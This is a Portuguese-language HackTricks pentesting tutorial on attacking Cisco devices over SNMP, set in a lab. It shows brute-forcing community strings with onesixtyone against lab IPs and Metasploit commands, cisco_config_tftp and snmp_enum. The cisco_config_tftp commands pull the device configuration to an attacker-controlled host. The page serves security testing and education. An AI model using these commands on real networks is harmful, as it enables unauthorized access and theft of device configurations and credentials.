hacktricks/network-services-pentesting/pentesting-snmp/cisco-snmp.md
2023-06-06 18:56:34 +00:00

6.6 KiB

Cisco SNMP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta página foi copiada de https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9

Exfiltração de configuração e enumeração via SNMP

SNMP (Simple Network Management Protocol) é um protocolo que permite monitorar o status de dispositivos em uma rede de computadores. Pode ser equipamento de rede, telefones IP, servidores corporativos ou qualquer outra coisa.

SNMP usa o protocolo de camada de transporte UDP com números de porta 161/UDP e 162/UDP. As chamadas strings de comunidade são usadas para se referir a agentes SNMP para o servidor. Estas são, digamos, senhas especiais para se comunicar com o servidor SNMP. As strings de comunidade têm permissões de apenas leitura (RO) ou leitura e gravação (RW).

Na verdade, SNMP não só pode monitorar o status do equipamento, mas também gerenciá-lo completamente: despejar configurações, alterar a configuração, etc. Se um pentester pode procurar o valor das strings de comunidade, ele realmente ganha acesso ao equipamento. No entanto, tudo depende de qual string ele bruteforceou - para a string de comunidade RO ou RW.

A força bruta das strings de comunidade pode ser implementada usando a onesixtyone utilidade. Ele receberá como entrada o dicionário para força bruta e os endereços IP dos hosts de destino. Os alvos serão:

  • 10.10.100.10 - Switch Cisco vIOS
  • 10.10.100.254 - Roteador Cisco vIOS
~$ onesixtyone -c communitystrings -i targets

Descobrimos quais são as strings de comunidade usadas nesses dispositivos. Isso abre caminho para a exploração.

8.1 cisco_config_tftp

Com o framework Metasploit, nomeadamente o módulo cisco_config_tftp, é possível obter a configuração do dispositivo, conhecendo o valor da string de comunidade. A string que tem direitos de leitura e escrita é private.

Será necessário o seguinte:

  • String de comunidade de leitura e escrita (COMMUNITY)
  • Endereço IP do atacante (LHOST)
  • Endereço IP do equipamento alvo (RHOSTS)
  • O caminho no qual o módulo produz a configuração do dispositivo (OUTPUTDIR)
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit

Depois de iniciar o módulo, a configuração do host com o endereço 10.10.100.10 (10.10.100.10.txt) será baixada na pasta especificada.

8.2 snmp_enum

Com este módulo, você pode descobrir informações sobre o hardware do alvo. Tudo é exatamente o mesmo: especifique a COMMUNITY (aliás, até mesmo uma string com permissões RO servirá) e o endereço IP do dispositivo de destino.

msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥